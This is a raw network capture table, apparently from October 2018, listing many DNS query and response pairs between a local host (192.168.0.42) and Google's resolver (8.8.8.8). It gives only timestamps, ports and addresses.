Okt 9, 2018 20:10:49.170600891 MESZ	50847	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:49.176276922 MESZ	53	50847	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:49.200323105 MESZ	56696	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:49.205574989 MESZ	53	56696	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:51.294511080 MESZ	51132	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:51.300658941 MESZ	53	51132	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:52.418668985 MESZ	56819	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:52.424046040 MESZ	53	56819	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:52.444528103 MESZ	64309	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:52.449575901 MESZ	53	64309	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:53.726860046 MESZ	55159	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:53.755548954 MESZ	53	55159	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:54.469496012 MESZ	53744	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:54.474833012 MESZ	53	53744	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:55.614875078 MESZ	49828	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:55.620285988 MESZ	53	49828	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:55.637025118 MESZ	52657	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:55.657861948 MESZ	53	52657	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:57.784671068 MESZ	55530	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:57.804960012 MESZ	53	55530	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:58.543186903 MESZ	55695	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:58.562721014 MESZ	53	55695	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:59.527112961 MESZ	54533	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:59.532181025 MESZ	53	54533	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:01.225512981 MESZ	57043	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:01.230922937 MESZ	53	57043	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:02.975723028 MESZ	59760	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:02.980665922 MESZ	53	59760	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:03.537115097 MESZ	65101	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:03.542480946 MESZ	53	65101	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:04.666897058 MESZ	55378	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:04.672998905 MESZ	53	55378	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:04.685305119 MESZ	63969	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:04.690176010 MESZ	53	63969	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:05.183609962 MESZ	50022	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:05.188380003 MESZ	53	50022	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:05.698995113 MESZ	52396	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:05.704535961 MESZ	53	52396	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:06.441911936 MESZ	63359	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:06.461617947 MESZ	53	63359	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:06.961386919 MESZ	64250	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:07.962971926 MESZ	64250	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:07.967936993 MESZ	53	64250	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:11.700946093 MESZ	49915	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:11.720865965 MESZ	53	49915	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:13.534744978 MESZ	61391	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:13.554410934 MESZ	53	61391	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:16.535819054 MESZ	61842	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:16.541296005 MESZ	53	61842	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:19.536273003 MESZ	57931	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:19.541268110 MESZ	53	57931	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:21.592560053 MESZ	49677	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:21.597966909 MESZ	53	49677	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:22.716269970 MESZ	53246	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:22.722079992 MESZ	53	53246	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:22.735270023 MESZ	63228	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:22.740716934 MESZ	53	63228	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:23.749857903 MESZ	61659	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:23.754729033 MESZ	53	61659	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:24.422508955 MESZ	58862	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:24.427952051 MESZ	53	58862	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:25.537010908 MESZ	64503	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:25.556669950 MESZ	53	64503	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:29.692570925 MESZ	56048	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:29.697926998 MESZ	53	56048	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:31.538278103 MESZ	54936	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:31.544133902 MESZ	53	54936	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:34.535811901 MESZ	60743	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:34.541924953 MESZ	53	60743	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:37.773576975 MESZ	56483	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:37.778870106 MESZ	53	56483	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:39.536139011 MESZ	54481	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:39.541673899 MESZ	53	54481	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:40.645747900 MESZ	49772	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:40.651555061 MESZ	53	49772	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:40.663005114 MESZ	53254	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:40.667917013 MESZ	53	53254	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:41.676290989 MESZ	53986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:41.681380033 MESZ	53	53986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:42.352267981 MESZ	65245	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:42.358517885 MESZ	53	65245	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:43.538783073 MESZ	55858	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:43.544174910 MESZ	53	55858	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:47.706171036 MESZ	60218	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:47.711517096 MESZ	53	60218	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:49.539495945 MESZ	60340	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:49.544572115 MESZ	53	60340	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:52.579967976 MESZ	53545	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:52.585484982 MESZ	53	53545	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:55.537533045 MESZ	50404	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:55.543798923 MESZ	53	50404	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:57.538980961 MESZ	58493	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:57.543767929 MESZ	53	58493	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:58.646446943 MESZ	63179	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:58.651318073 MESZ	53	63179	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:58.662883043 MESZ	51333	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:58.668329954 MESZ	53	51333	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:59.672489882 MESZ	56576	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:59.677643061 MESZ	53	56576	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:00.366152048 MESZ	49986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:00.372409105 MESZ	53	49986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:01.541789055 MESZ	63289	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:01.561397076 MESZ	53	63289	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:05.727267981 MESZ	50339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:05.732920885 MESZ	53	50339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:07.681557894 MESZ	64504	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:07.687086105 MESZ	53	64504	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:10.539557934 MESZ	58220	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:10.570059061 MESZ	53	58220	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:13.540512085 MESZ	51936	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:13.546134949 MESZ	53	51936	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:15.542566061 MESZ	55509	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:15.547383070 MESZ	53	55509	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:16.647433996 MESZ	54102	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:16.653466940 MESZ	53	54102	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:16.666094065 MESZ	50242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:16.671334982 MESZ	53	50242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:17.679914951 MESZ	52224	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:17.684907913 MESZ	53	52224	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:18.360869884 MESZ	55565	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:18.366198063 MESZ	53	55565	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:19.541697979 MESZ	53255	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:19.546946049 MESZ	53	53255	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:23.775300980 MESZ	55355	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:23.780389071 MESZ	53	55355	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:25.540766954 MESZ	58729	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:25.545857906 MESZ	53	58729	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:28.541467905 MESZ	53674	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:28.546996117 MESZ	53	53674	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:31.545243025 MESZ	62666	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:31.550640106 MESZ	53	62666	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:33.545865059 MESZ	60339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:33.551054001 MESZ	53	60339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:34.653433084 MESZ	63441	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:34.659159899 MESZ	53	63441	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:34.673394918 MESZ	60339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:34.678287029 MESZ	53	60339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:35.684812069 MESZ	59973	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:35.694596052 MESZ	53	59973	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:36.458007097 MESZ	60121	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:36.462770939 MESZ	53	60121	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:37.651485920 MESZ	51999	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:37.657043934 MESZ	53	51999	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:38.825937986 MESZ	49576	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:38.830982924 MESZ	53	49576	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:38.844404936 MESZ	55202	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:38.849112034 MESZ	53	55202	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:40.861655951 MESZ	59296	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:40.867522955 MESZ	53	59296	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.737462997 MESZ	53767	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.757666111 MESZ	53	53767	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.968539953 MESZ	57973	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.973535061 MESZ	53	57973	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.988058090 MESZ	50551	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.992891073 MESZ	53	50551	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:44.009725094 MESZ	58684	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:44.015266895 MESZ	53	58684	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:45.129167080 MESZ	54454	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:45.136332989 MESZ	53	54454	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:45.148298979 MESZ	51746	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:45.153069019 MESZ	53	51746	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:46.546027899 MESZ	64376	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:46.551084995 MESZ	53	64376	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:47.169083118 MESZ	58432	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:47.176240921 MESZ	53	58432	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:48.289787054 MESZ	55094	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:48.295197964 MESZ	53	55094	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:48.310482979 MESZ	60435	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:48.315797091 MESZ	53	60435	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:50.342829943 MESZ	64323	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:50.348581076 MESZ	53	64323	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.495764017 MESZ	55492	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.500694036 MESZ	53	55492	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.516760111 MESZ	53519	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.521491051 MESZ	53	53519	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.547785997 MESZ	57649	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.553309917 MESZ	53	57649	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:52.673783064 MESZ	61899	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:52.679090977 MESZ	53	61899	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:52.708050966 MESZ	52737	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:52.712919950 MESZ	53	52737	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:53.678837061 MESZ	54802	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:53.698863029 MESZ	53	54802	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:53.740155935 MESZ	63935	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:53.745876074 MESZ	53	63935	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:54.482309103 MESZ	51676	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:54.502145052 MESZ	53	51676	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:55.482851028 MESZ	57270	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:55.488305092 MESZ	53	57270	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:57.888092995 MESZ	65239	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:57.893119097 MESZ	53	65239	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:59.575381994 MESZ	60358	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:59.580171108 MESZ	53	60358	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:59.789256096 MESZ	65193	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:59.794677973 MESZ	53	65193	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:01.353074074 MESZ	55102	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:01.358428001 MESZ	53	55102	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:03.141505957 MESZ	53090	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:03.146943092 MESZ	53	53090	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:04.565612078 MESZ	52051	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:04.570408106 MESZ	53	52051	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:09.620979071 MESZ	60419	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:09.626161098 MESZ	53	60419	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:09.712740898 MESZ	58063	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:09.733179092 MESZ	53	58063	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:10.832560062 MESZ	57801	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:10.838227987 MESZ	53	57801	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:10.852200985 MESZ	59058	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:10.857079983 MESZ	53	59058	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:11.868926048 MESZ	54778	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:11.874124050 MESZ	53	54778	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:12.562825918 MESZ	64158	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:12.567883015 MESZ	53	64158	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:15.560957909 MESZ	51691	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:15.566448927 MESZ	53	51691	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:17.739216089 MESZ	51954	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:17.744265079 MESZ	53	51954	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:21.557730913 MESZ	53693	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:21.564529896 MESZ	53	53693	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:22.562073946 MESZ	56902	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:22.567971945 MESZ	53	56902	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:27.622075081 MESZ	59239	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:27.627015114 MESZ	53	59239	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:27.708169937 MESZ	64803	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:27.728491068 MESZ	53	64803	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:28.820622921 MESZ	58467	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:28.825922966 MESZ	53	58467	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:28.839313030 MESZ	63108	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:28.844968081 MESZ	53	63108	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:29.863996983 MESZ	63753	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:29.868890047 MESZ	53	63753	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:33.569866896 MESZ	51614	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:33.575448036 MESZ	53	51614	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:33.760020971 MESZ	64930	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:33.765731096 MESZ	53	64930	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:38.722095966 MESZ	59749	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:38.727741957 MESZ	53	59749	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:39.561218977 MESZ	63158	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:39.566477060 MESZ	53	63158	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:43.628345966 MESZ	65215	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:43.635042906 MESZ	53	65215	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:45.564343929 MESZ	59015	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:45.569735050 MESZ	53	59015	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:48.562760115 MESZ	50613	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:48.567945957 MESZ	53	50613	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:49.691315889 MESZ	53915	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:49.696995020 MESZ	53	53915	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:49.720503092 MESZ	57805	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:49.726285934 MESZ	53	57805	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:50.748429060 MESZ	59929	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:50.753985882 MESZ	53	59929	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:51.553158998 MESZ	51569	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:51.558706999 MESZ	53	51569	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:51.854617119 MESZ	63986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:51.859687090 MESZ	53	63986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:56.730390072 MESZ	51448	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:56.736028910 MESZ	53	51448	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:57.563033104 MESZ	49529	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:57.568742990 MESZ	53	49529	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:01.599076033 MESZ	56038	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:01.604300022 MESZ	53	56038	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:03.663825989 MESZ	58581	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:03.669070005 MESZ	53	58581	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:06.563963890 MESZ	63343	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:06.569650888 MESZ	53	63343	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:07.694149017 MESZ	52671	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:07.699359894 MESZ	53	52671	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:07.717652082 MESZ	53967	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:07.722332001 MESZ	53	53967	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:08.746584892 MESZ	55240	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:08.754448891 MESZ	53	55240	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:09.473007917 MESZ	59972	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:09.478557110 MESZ	53	59972	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:09.562400103 MESZ	56994	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:09.567924976 MESZ	53	56994	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:14.744970083 MESZ	58320	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:14.764467955 MESZ	53	58320	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:15.565139055 MESZ	51815	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:15.585374117 MESZ	53	51815	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:19.620038986 MESZ	64705	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:19.625803947 MESZ	53	64705	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:21.602960110 MESZ	55900	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:21.608515024 MESZ	53	55900	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:24.566245079 MESZ	61087	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:24.572144032 MESZ	53	61087	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:25.703926086 MESZ	54238	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:25.709646940 MESZ	53	54238	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:25.731765032 MESZ	51466	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:25.736671925 MESZ	53	51466	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:26.755947113 MESZ	65265	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:26.760890007 MESZ	53	65265	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:27.459978104 MESZ	56534	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:27.465590000 MESZ	53	56534	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:27.568567991 MESZ	50414	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:27.573499918 MESZ	53	50414	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:32.730110884 MESZ	62992	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:32.735811949 MESZ	53	62992	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:33.664973974 MESZ	56588	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:33.670056105 MESZ	53	56588	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:34.820215940 MESZ	49889	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:34.825149059 MESZ	53	49889	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:34.836904049 MESZ	63764	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:34.842365980 MESZ	53	63764	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:36.858392954 MESZ	56434	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:36.863627911 MESZ	53	56434	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.565937996 MESZ	58099	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.571623087 MESZ	53	58099	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.960645914 MESZ	55237	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.965971947 MESZ	53	55237	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.979398012 MESZ	63983	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.985500097 MESZ	53	63983	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:40.010701895 MESZ	55646	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:40.031554937 MESZ	53	55646	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:41.166047096 MESZ	55965	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:41.172051907 MESZ	53	55965	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:41.197495937 MESZ	64736	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:41.202510118 MESZ	53	64736	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:42.553858995 MESZ	64531	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:42.558806896 MESZ	53	64531	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.211682081 MESZ	62413	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.216978073 MESZ	53	62413	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.669158936 MESZ	60667	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.674720049 MESZ	53	60667	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.691696882 MESZ	59242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.697072029 MESZ	53	59242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:44.716304064 MESZ	59783	53	192.168.0.42	8.8.8.8
